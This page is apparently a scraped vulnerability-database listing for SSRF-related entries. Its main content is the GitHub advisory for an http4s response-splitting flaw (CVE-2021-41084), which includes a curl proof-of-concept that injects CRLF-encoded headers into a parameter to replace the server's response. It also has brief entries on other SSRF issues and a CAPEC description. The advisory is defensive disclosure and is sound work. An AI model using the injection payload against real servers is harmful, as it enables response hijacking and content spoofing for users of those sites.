    }
  ],
  "summary": "SSRF vulnerability due to missing permission check in Jenkins OctopusDeploy Plugin "
}

GHSA-5VCM-3XC3-W7X3

Vulnerability from github – Published: 2021-09-22 19:18 – Updated: 2025-12-11 21:12
VLAI
Summary
Response Splitting from unsanitized headers
Details

Impact

http4s is vulnerable to response-splitting or request-splitting attacks when untrusted user input is used to create any of the following fields:

  • Header names (Header.nameå
  • Header values (Header.value)
  • Status reason phrases (Status.reason)
  • URI paths (Uri.Path)
  • URI authority registered names (URI.RegName) (through 0.21)

The following backends render invalid carriage return, newline, or null characters in an unsafe fashion.

blaze-server ember-server blaze-client ember-client jetty-client
header names ⚠ ⚠ ⚠ ⚠ ⚠
header values ⚠ ⚠ ⚠ ⚠
status reasons ⚠ ⚠
URI paths ⚠ ⚠
URI regnames ⚠ < 0.22 ⚠ < 0.22

For example, given the following service:

import cats.effect._
import org.http4s._
import org.http4s.dsl.io._
import org.http4s.server.blaze.BlazeServerBuilder
import scala.concurrent.ExecutionContext.global

object ResponseSplit extends IOApp {
  override def run(args: List[String]): IO[ExitCode] =
    BlazeServerBuilder[IO](global)
      .bindHttp(8080)
      .withHttpApp(httpApp)
      .resource
      .use(_ => IO.never)

  val httpApp: HttpApp[IO] =
    HttpApp[IO] { req =>
      req.params.get("author") match {
        case Some(author) =>
          Ok("The real content")
            .map(_.putHeaders(Header("Set-Cookie", s"author=${author}")))
        case None =>
          BadRequest("No author parameter")
      }
    }
}

A clean author parameter returns a clean response:

curl -i 'http://localhost:8080/?author=Ross'

HTTP/1.1 200 OK
Content-Type: text/plain; charset=UTF-8
Set-Cookie: author=Ross
Date: Mon, 20 Sep 2021 04:12:10 GMT
Content-Length: 16

The real content

A malicious author parameter allows a user-agent to hijack the response from our server and return different content:

curl -i 'http://localhost:8080/?author=hax0r%0d%0aContent-Length:+13%0d%0a%0aI+hacked+you'

HTTP/1.1 200 OK
Content-Type: text/plain; charset=UTF-8
Set-Cookie: author=hax0r
Content-Length: 13

I hacked you

Patches

Versions 0.21.29, 0.22.5, 0.23.4, and 1.0.0-M27 perform the following:

  • If a status reasoon phrase is invalid, it is dropped. Rendering is optional per spec.
  • If a header name is invalid in a request or response, the header is dropped. There is no way to generically sanitize a header without potentially shadowing a correct one.
  • If a header value is invalid in a request or response, it is sanitized by replacing null (\u0000), carriage return (\r), and newline (\n) with space () characters per spec.
  • If a URI path or registered name is invalid in a request line, the client raises an IllegalArgumentException.
  • If a URI registered name is invalid in a host header, the client raises an IllegalArgumentException.

Workarounds

http4s services and client applications should sanitize any user input in the aforementioned fields before returning a request or response to the backend. The carriage return, newline, and null characters are the most threatening.

Not all backends were affected: jetty-server, tomcat-server, armeria, and netty on the server; async-http-client, okhttp-client, armeria, and netty as clients.

References

  • https://owasp.org/www-community/attacks/HTTP_Response_Splitting
  • https://httpwg.org/http-core/draft-ietf-httpbis-semantics-latest.html#fields.values

For more information

If you have any questions or comments about this advisory: * Open an issue in GitHub * Contact us via the http4s security policy

Severity
8.7 (High)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.21.28"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.http4s:http4s-client_2.12"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.21.29"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.22.4"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.http4s:http4s-client_2.12"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.22.0"
            },
            {
              "fixed": "0.22.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.23.3"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.http4s:http4s-client_2.12"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.23.0"
            },
            {
              "fixed": "0.23.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.21.28"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.http4s:http4s-client_2.13"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.21.29"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.22.4"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.http4s:http4s-client_2.13"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.22.0"
            },
            {
              "fixed": "0.22.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.23.3"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.http4s:http4s-client_2.13"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.23.0"
            },
            {
              "fixed": "0.23.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.21.28"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.http4s:http4s-client_3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.21.29"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.22.4"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.http4s:http4s-client_3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.22.0"
            },
            {
              "fixed": "0.22.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.23.3"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.http4s:http4s-client_3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.23.0"
            },
            {
              "fixed": "0.23.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.http4s:http4s-server_2.10"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.21.28"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.http4s:http4s-server_2.11"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.21.28"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.21.28"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.http4s:http4s-server_2.12"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.21.29"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.22.4"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.http4s:http4s-server_2.12"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.22.0"
            },
            {
              "fixed": "0.22.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.23.3"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.http4s:http4s-server_2.12"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.23.0"
            },
            {
              "fixed": "0.23.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.21.28"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.http4s:http4s-server_2.13"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.21.29"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.22.4"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.http4s:http4s-server_2.13"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.22.0"
            },
            {
              "fixed": "0.22.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.23.3"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.http4s:http4s-server_2.13"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.23.0"
            },
            {
              "fixed": "0.23.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.http4s:http4s-server_2.13.0-M5"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.21.28"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.22.4"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.http4s:http4s-server_3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.22.0"
            },
            {
              "fixed": "0.22.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.23.3"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.http4s:http4s-server_3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.23.0"
            },
            {
              "fixed": "0.23.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-41084"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-74",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-09-21T16:10:13Z",
    "nvd_published_at": "2021-09-21T18:15:00Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nhttp4s is vulnerable to response-splitting or request-splitting attacks when untrusted user input is used to create any of the following fields:\n\n* Header names (`Header.name`\u00e5\n* Header values (`Header.value`)\n* Status reason phrases (`Status.reason`)\n* URI paths (`Uri.Path`)\n* URI authority registered names (`URI.RegName`) (through 0.21)\n\nThe following backends render invalid carriage return, newline, or null characters in an unsafe fashion.\n\n|                | blaze-server | ember-server | blaze-client | ember-client | jetty-client |\n|:---------------|:-------------|:-------------|:-------------|--------------|--------------|\n| header names   | \u26a0            | \u26a0            | \u26a0            | \u26a0            |   \u26a0            | \n| header values  | \u26a0            | \u26a0            | \u26a0            | \u26a0            |              |\n| status reasons | \u26a0            | \u26a0            |              |              |              |\n| URI paths      |              |              |  \u26a0             |  \u26a0             |              |\n| URI regnames   |              |              |  \u26a0 \u003c 0.22           |  \u26a0 \u003c 0.22            |              |\n\nFor example, given the following service:\n\n```scala\nimport cats.effect._\nimport org.http4s._\nimport org.http4s.dsl.io._\nimport org.http4s.server.blaze.BlazeServerBuilder\nimport scala.concurrent.ExecutionContext.global\n\nobject ResponseSplit extends IOApp {\n  override def run(args: List[String]): IO[ExitCode] =\n    BlazeServerBuilder[IO](global)\n      .bindHttp(8080)\n      .withHttpApp(httpApp)\n      .resource\n      .use(_ =\u003e IO.never)\n\n  val httpApp: HttpApp[IO] =\n    HttpApp[IO] { req =\u003e\n      req.params.get(\"author\") match {\n        case Some(author) =\u003e\n          Ok(\"The real content\")\n            .map(_.putHeaders(Header(\"Set-Cookie\", s\"author=${author}\")))\n        case None =\u003e\n          BadRequest(\"No author parameter\")\n      }\n    }\n}\n```\n\nA clean `author` parameter returns a clean response:\n\n```sh\ncurl -i \u0027http://localhost:8080/?author=Ross\u0027\n```\n\n```http\nHTTP/1.1 200 OK\nContent-Type: text/plain; charset=UTF-8\nSet-Cookie: author=Ross\nDate: Mon, 20 Sep 2021 04:12:10 GMT\nContent-Length: 16\n\nThe real content\n```\n\nA malicious `author` parameter allows a user-agent to hijack the response from our server and return different content:\n\n```sh\ncurl -i \u0027http://localhost:8080/?author=hax0r%0d%0aContent-Length:+13%0d%0a%0aI+hacked+you\u0027\n```\n\n```http\nHTTP/1.1 200 OK\nContent-Type: text/plain; charset=UTF-8\nSet-Cookie: author=hax0r\nContent-Length: 13\n\nI hacked you\n```\n\n### Patches\n\nVersions 0.21.29, 0.22.5, 0.23.4, and 1.0.0-M27 perform the following:\n\n* If a status reasoon phrase is invalid, it is dropped. Rendering is optional per spec.\n* If a header name is invalid in a request or response, the header is dropped.  There is no way to generically sanitize a header without potentially shadowing a correct one.\n* If a header value is invalid in a request or response, it is sanitized by replacing null (`\\u0000`), carriage return (`\\r`), and newline (`\\n`) with space (` `) characters per spec.\n* If a URI path or registered name is invalid in a request line, the client raises an `IllegalArgumentException`.\n* If a URI registered name is invalid in a host header, the client raises an `IllegalArgumentException`. \n\n### Workarounds\n\nhttp4s services and client applications should sanitize any user input in the aforementioned fields before returning a request or response to the backend.  The carriage return, newline, and null characters are the most threatening.\n\nNot all backends were affected: jetty-server, tomcat-server, armeria, and netty on the server; async-http-client, okhttp-client, armeria, and netty as clients.\n\n### References\n* https://owasp.org/www-community/attacks/HTTP_Response_Splitting\n* https://httpwg.org/http-core/draft-ietf-httpbis-semantics-latest.html#fields.values\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [GitHub](http://github.com/http4s/http4s)\n* Contact us via the [http4s security policy](https://github.com/http4s/http4s/security/policy)",
  "id": "GHSA-5vcm-3xc3-w7x3",
  "modified": "2025-12-11T21:12:05Z",
  "published": "2021-09-22T19:18:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/http4s/http4s/security/advisories/GHSA-5vcm-3xc3-w7x3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-41084"
    },
    {
      "type": "WEB",
      "url": "https://github.com/http4s/http4s/commit/d02007db1da4f8f3df2dbf11f1db9ac7afc3f9d8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/http4s/http4s"
    },
    {
      "type": "WEB",
      "url": "https://httpwg.org/http-core/draft-ietf-httpbis-semantics-latest.html#fields.values"
    },
    {
      "type": "WEB",
      "url": "https://owasp.org/www-community/attacks/HTTP_Response_Splitting"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Response Splitting from unsanitized headers"
}

GHSA-5VF8-PP4V-CCV9

Vulnerability from github – Published: 2025-04-18 00:30 – Updated: 2025-04-21 18:32
VLAI
Details

An issue in personal-management-system Personal Management System 1.4.65 allows a remote attacker to obtain sensitive information via the my-contacts-settings component.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-29453"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-17T22:15:14Z",
    "severity": "MODERATE"
  },
  "details": "An issue in personal-management-system Personal Management System 1.4.65 allows a remote attacker to obtain sensitive information via the my-contacts-settings component.",
  "id": "GHSA-5vf8-pp4v-ccv9",
  "modified": "2025-04-21T18:32:08Z",
  "published": "2025-04-18T00:30:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-29453"
    },
    {
      "type": "WEB",
      "url": "https://www.yuque.com/morysummer/vx41bz/pgg9q7kdbkggtq08"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.

← Back to the CWE list